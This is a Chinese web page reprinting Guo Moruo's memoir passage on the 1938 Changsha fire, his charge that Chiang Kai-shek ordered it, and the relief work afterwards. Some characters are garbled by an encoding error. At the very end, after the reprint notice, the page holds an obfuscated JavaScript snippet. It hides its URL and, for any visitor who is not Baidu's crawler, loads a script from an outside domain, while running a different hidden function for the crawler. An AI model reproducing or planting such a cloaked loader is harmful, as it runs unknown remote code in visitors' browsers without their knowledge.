當(dāng)前位置:首頁 > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

郭沫若回憶“文夕大火” 他們想建立一次奇功

2017-04-29 08:35:26  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:1948年8月,“文夕大火”近十年后,香港《華商報(bào)》副刊開始連載郭沫若的長(zhǎng)篇自傳體散文《抗戰(zhàn)回憶錄》。“回憶錄”中郭寫到長(zhǎng)沙大火,在香

1948年8月,“文夕大火”近十年后,香港《華商報(bào)》副刊開始連載郭沫若的長(zhǎng)篇自傳體散文《抗戰(zhàn)回憶錄》?!盎貞涗洝敝泄鶎懙介L(zhǎng)沙大火,在香港引起輿論關(guān)注。又過了十年,《人民文學(xué)》再次發(fā)表《抗戰(zhàn)回憶錄》并更名為《洪波曲》,一時(shí)在國(guó)內(nèi)引起很大反響。

放火燒長(zhǎng)沙,是國(guó)民黨人在蔣介石指使下所搞的一大功德。他們是想建立一次奇功,摹仿庫(kù)圖索夫的火燒莫斯科,來它一個(gè)火燒長(zhǎng)沙市。只可惜日本人開玩笑,沒有出場(chǎng)來演拿破侖。撒下了一大灘爛污,燒了百多萬戶人家,更燒死了未有統(tǒng)計(jì)的傷病兵和老弱病廢的市民,到底誰來負(fù)責(zé)呢?

在行政上的處分是——18日槍斃了三個(gè)人:警備司令酆悌、警備第二團(tuán)長(zhǎng)徐昆、公安局長(zhǎng)文重孚。

長(zhǎng)沙人不了解真實(shí)情況,頗埋怨省主席張文白。事后有人做了一付對(duì)聯(lián)和匾額來譏諷他,流傳得很廣,匾額是“張皇失措”,對(duì)聯(lián)是“治湘有方,五大政策一把火;中心何忍,三個(gè)人頭十萬元。”在這里面把“張治中”3個(gè)字嵌進(jìn)去了?!拔宕笳摺庇洸磺宄?“十萬元”是國(guó)民政府對(duì)長(zhǎng)沙市民的撫恤金。少得太可憐了。

然而冤有頭,債有主,埋怨張文白是找錯(cuò)了對(duì)頭。張文白和其他的人只是執(zhí)行了蔣介石的命令而已。據(jù)我們后來所得到的確實(shí)消息,張文自在12日上午9時(shí),曾接到蔣介石的密電,要他把長(zhǎng)沙全城焚毀。因此關(guān)于長(zhǎng)沙大火的責(zé)任應(yīng)該由蔣介石來負(fù),連“三個(gè)人頭”認(rèn)真說都是冤枉了的。

行政處分只在乎息人民的怒氣,對(duì)于滿目瘡痍并沒有絲毫的裨補(bǔ)。警察是跑光了,省政府的高級(jí)人員跑到了沅陵。于是長(zhǎng)沙善后這一工作卻又意外地落到我們?nèi)龔d的頭上。

16日我們到達(dá)衡陽三塘之后,17日便奉到命令,要三廳派人火速赴長(zhǎng)沙從事善后。這一工作,周公又指派了洪深,要他帶領(lǐng)若干得力的人員和兩個(gè)抗劇隊(duì)在當(dāng)晚便趕赴長(zhǎng)沙。當(dāng)大家上卡車的時(shí)候,田壽昌自告奮勇,臨時(shí)參加了。洪與田是大火后最初入長(zhǎng)沙的人,掩埋死尸,撫慰居民,安插傷病,恢復(fù)交通,實(shí)在做了不少的工作。由于工作繁忙,人手不夠,19日又由乃超和我另外帶了一批人去支援。這時(shí)候的善后辦事處是設(shè)在財(cái)政廳里面的。當(dāng)我到長(zhǎng)沙后的第三天,省政府的各廳才有人從沅陵回來參加工作。民政廳長(zhǎng)陶履謙、財(cái)政廳長(zhǎng)尹任先、建設(shè)廳長(zhǎng)余籍傳、教育廳長(zhǎng)朱經(jīng)農(nóng),來財(cái)政廳拜會(huì)我們。我們倒也感覺到有種說不出的情緒。

陳誠(chéng)和周公都到長(zhǎng)沙來過。陳誠(chéng)是很得意的,長(zhǎng)沙善后由他的“部下”來做了一個(gè)開端,當(dāng)然替他增光不少。周公看見大家做得井井有條,也很愉快。我自己很明白:這些完全是在長(zhǎng)沙大火中被他短期訓(xùn)練出來的學(xué)生,經(jīng)過了幾天的堅(jiān)苦鍛煉,他的學(xué)生們是有些進(jìn)步了。

流離的人逐漸回來了,從廢墟中再建長(zhǎng)沙的勇氣已被鼓舞了起來。以后的工作便不在我們的范圍內(nèi)了。那得讓人民的創(chuàng)造力去自謀發(fā)揮;而為了減少磨擦,也得早讓那些黨老爺們?nèi)ゲ渴鹚麄兊耐!?/p>

長(zhǎng)沙經(jīng)過大火,大概燒去了十分之八九,而有趣的是我們住過的水風(fēng)井卻沒有燒掉。長(zhǎng)沙師范里面我們還存著一大桶汽油,竟依然無恙。這大約是我們走得遲,放火隊(duì)被阻礙了的原故吧?

我們是26日回三塘的。在這之前,我應(yīng)平江張發(fā)奎之邀,曾偕乃超、壽昌二人去訪問過他一次。那是24日的事。當(dāng)晚由張作向?qū)?,同去看過一次楊森。那位多子將軍送了我們好幾根茶樹根子的手杖。他談到地方上有些迷信觀音的人在醞釀反戰(zhàn)運(yùn)動(dòng),也談到一些下級(jí)政工人員不守紀(jì)律,專做特工,一遇緊急,便先行逃跑。仿佛抗戰(zhàn)不力就只有那些迷信的地主和特務(wù)的政工那樣,我們也姑妄聽之而已。

但兩位將軍和我一樣都有點(diǎn)奇怪:為什么日本人卻停止了進(jìn)攻?

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}